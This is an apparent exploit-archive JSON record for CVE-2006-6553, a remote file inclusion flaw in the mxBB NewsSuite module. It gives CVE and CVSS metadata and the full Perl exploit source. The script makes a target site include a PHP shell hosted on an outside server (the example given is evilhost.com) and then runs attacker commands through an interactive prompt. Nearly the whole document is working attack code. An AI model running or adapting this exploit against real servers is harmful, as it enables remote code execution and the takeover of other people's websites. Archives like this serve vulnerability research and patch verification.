{"exploit":{"id":"EDB-2925","name":"mxBB Module newssuite 1.03 - Remote File Inclusion (RFI)","description":"mxBB Module newssuite 1.03 - Remote File Inclusion (RFI)","cves":["CVE-2006-6553"],"author":"3l3ctric-Cracker","published":"2006-12-12","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2925","path":"exploits/php/webapps/2925.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2925.pl","vulnerabilities":[{"id":"CVE-2006-6553","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in includes/newssuite_constants.php in the NewsSuite 1.03 module for mxBB allows remote attackers to execute arbitrary PHP code via a URL in the mx_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6553","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6553"},"updatedAt":"2024-08-07T20:33:58.549Z","retrievedAt":"2026-11-27T00:07:34.344Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2925.png?v=2","url":"https://exploitbin.com/exploits/EDB-2925","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2925/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2925/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#mxBB newssuite Module v1.5  --Remote File Inclusion Exploit\n#Bug Found & Exploit [c]oded By Dr Max Virus\n#Download:http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=17\n\n#PoC: http://[target]/mxBB/modules/mx_newssuite/includes/newssuite_constants.php?mx_root_path=[shell]\n\n\nuse LWP::UserAgent;\n\n$target=@ARGV[0];\n$shellsite=@ARGV[1];\n$cmdv=@ARGV[2];\n\nif($target!~/http:\\/\\// || $shellsite!~/http:\\/\\// || !$cmdv)\n{\n\tusg()\n}\nheader();\n\n\nwhile()\n{\nprint \"[Shell] \\$\";\nwhile (<STDIN>)\n{\n\t$cmd=$_;\n\tchomp($cmd);\n\n$xpl = LWP::UserAgent->new() or die;\n$req = HTTP::Request->new(GET=>$target.'/includes/newssuite_constants.php?mx_root_path='.$shellsite='.?&'.$cmdv.'='.$cmd)or die \"\\n\\n Failed to Connect, Try again!\\n\";\n$res = $xpl->request($req);\n$info = $res->content;\n$info =~ tr/[\\n]/[&#234;]/;\n\n\nif (!$cmd) {\nprint \"\\nEnter a Command\\n\\n\"; $info =\"\";\n}\n\n\nelsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/: Cannot execute a blank command in <b>/)\n{\nprint \"\\nCould Not Connect to cmd Host or Invalid Command Variable\\n\";\nexit;\n}\n\n\nelsif ($info =~/^<br.\\/>.<b>Warning/) {\nprint \"\\nInvalid Command\\n\\n\";\n};\n\n\nif($info =~ /(.+)<br.\\/>.<b>Warning.(.+)<br.\\/>.<b>Warning/)\n{\n$final = $1;\n$final=~ tr/[&#234;]/[\\n]/;\nprint \"\\n$final\\n\";\nlast;\n}\n\nelse {\nprint \"[shell] \\$\";\n}\n}\n}\nlast;\n\n\n\nsub header()\n{\nprint q{\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\nmxBB newssuite Module v1.5  -- Remote File  Include Exploit\n\nVulnerablity found by: Dr Max Virus\n\nExploit [c]oded by: Dr Max Virus\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n}\n}\nsub usg()\n{\nheader();\nprint q{\nUsage:  exploit.pl <fullpath> <Shell Location> <Shell Cmd>\n<FULL PATH> - Path to site exp. www.site.com\n<shell Location> - Path to shell exp. www.evilhost.com/shell.txt\n<shell Cmd Variable> - Command variable for php shell exp. id\nExample:  exploit.pl http://www.site.com/[path]/\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n};\n\nexit();\n}\n\n# milw0rm.com [2006-12-12]","sha256":"4c26d44a6abd0c0229d58beaa7a7ca2546e2daa940bdb089e65e61650c7baefc","bytes":2060,"fetchedAt":"2026-11-27T00:07:30.353Z","encoding":"utf-8 (display only; download retains original bytes)"}